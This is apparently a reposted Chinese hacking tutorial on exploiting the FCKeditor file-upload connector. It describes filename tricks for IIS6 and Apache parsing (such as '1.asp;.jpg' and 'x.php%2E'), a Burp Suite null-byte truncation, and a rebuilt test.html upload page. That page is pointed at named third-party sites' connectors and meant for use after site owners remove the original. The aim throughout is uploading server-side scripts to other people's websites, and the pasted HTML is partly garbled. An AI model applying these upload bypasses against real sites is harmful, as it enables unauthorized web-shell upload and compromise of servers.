关于fck编辑器

发布时间：2020-08-02 21:17:57 作者：455575834
来源：网络阅读：344

先看版本

如果是iis6.0 上传两次 1.asp;.jpg 或者通过创建1.asp目录（有方法可以试着突破点变下画线）

或者直接上传 1.asp;jpg

如果不是iis6.0 利用burpsuite截包

图片

上传 1.asp;jpg 利用burpsuite 将分号变成空格再去对应的hex 20改成00 保存利用%00 截断分号两次

如果上传的 test 页面被删除

http://www.xxxx.com/fckeditor/editor/filemanager/browser/default/connectors/test.html

http://www.xxxx.com/fckeditor/editor/filemanager/browser/default/connectors/uploadtest.html

首先看一下网站的这个页面

http://www.keio.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx

http://www.keio.com/fckeditor/editor/filemanager/connectors/asp/connector.asp

http://www.keio.com/fckeditor/editor/filemanager/connectors/php/connector.php

http://www.keio.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp

这个页面存在不存在

存在本地构造test页面将下面里代码修改成目标的地址

Fckeditor本地构造TEST.HTML上传

自从以前暴了TEST.HTML的上传0day以后，好多站长们多把TEST.HTML给删了。可是上传的

文件没删。这样的话可以自己在构造一个。

把以下代码保存成TEST.HTML就行了。然后修改里面的上传文件。

<!--

* FCKeditor - The text editor for Internet - http://www.fckeditor.net

* == BEGIN LICENSE ==

* Licensed under the terms of any of the following licenses at your

* choice:

* - GNU General Public License Version 2 or later (the "GPL")

* http://www.gnu.org/licenses/gpl.html

* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")

* http://www.gnu.org/licenses/lgpl.html

* - Mozilla Public License Version 1.1 or later (the "MPL")

* http://www.mozilla.org/MPL/MPL-1.1.html

* == END LICENSE ==

* Test page for the File Browser connectors.

-->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<head>

<title>FCKeditor - Connectors Tests</title>

function BuildBaseUrl( command )

{

var sUrl =

document.getElementById('cmbConnector').value +

'?Command=' + command +

'&Type=' + document.getElementById('cmbType').value +

'&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;

return sUrl ;

}

function SetFrameUrl( url )

{

document.getElementById('eRunningFrame').src = url ;

document.getElementById('eUrl').innerHTML = url ;

}

function GetFolders()

{

SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;

return false ;

}

function GetFoldersAndFiles()

{

SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;

return false ;

}

function CreateFolder()

{

var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;

if ( ! sFolder )

return false ;

var sUrl = BuildBaseUrl( 'CreateFolder' ) ;

sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;

SetFrameUrl( sUrl ) ;

return false ;

}

function OnUploadCompleted( errorNumber, fileName )

{

switch ( errorNumber )

{

case 0 :

alert( 'File uploaded with no errors' ) ;

break ;

case 201 :

GetFoldersAndFiles() ;

alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;

break ;

case 202 :

alert( 'Invalid file' ) ;

break ;

default :

alert( 'Error on file upload. Error number: ' + errorNumber ) ;

break ;

}

this.frames.frmUpload = this ;

function SetAction()

{

var sUrl = BuildBaseUrl( 'FileUpload' ) ;

document.getElementById('eUrl').innerHTML = sUrl ;

document.getElementById('frmUpload').action = sUrl ;

}

</script>

</head>

<body>

<tr>

<td>

<tr>

<td>

Connector:<br />

<option value="ASP.Net</option'>http://zjmyjs.com/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option>

<option value="cfm/connector.cfm">ColdFusion</option>

<option value="lasso/connector.lasso">Lasso</option>

<option value="PHP</option'>http://zjmyjs.com/editor/filemanager/connectors/php/connector.php">PHP</option>

<option value="py/connector.py">Python</option>

</select>

</td>

<td>

</td>

<td>

Current Folder<br />

<td>

</td>

<td>

Resource Type<br />

<option value="Image">Image</option>

<option value="Flash">Flash</option>

<option value="Media">Media</option>

<option value="Invalid">Invalid Type (for testing)</option>

</select>

</td>

</tr>

</table>

<br />

<tr>

<td>

</td>

<td>

</td>

<td>

</td>

File Upload<br />

</form>

</td>

</tr>

</table>

<br />

URL: <span id="eUrl"></span>

</td>

</tr>

<tr>

height="100%"></iframe>

</td>

</tr>

</table>

</body>

</html>

附加：关于FCK的

这是XXX发给我他自己录的一段教程，通常FCK编辑器的漏洞挖掘大多数都已经被人们所熟知。有利用IIS漏洞又或者APACHE解析漏洞。

总之一句话，能让大家知道的都是已经公布的，不得不说，现在的网站管理还是很变态的。经过XXX多次的尝试，发现了一个APACHe 可以利用的解析漏洞：

普通的限制文件名上传会变“.”为“_”即便有时候二次上传甚至N次上传都没有用

我们可以利用IE连接的特性这样命名"x.php%2E"

%2E即转换城URL后连接的“.”这样就达到了绕过限制的效果。

关于fck编辑器

相关阅读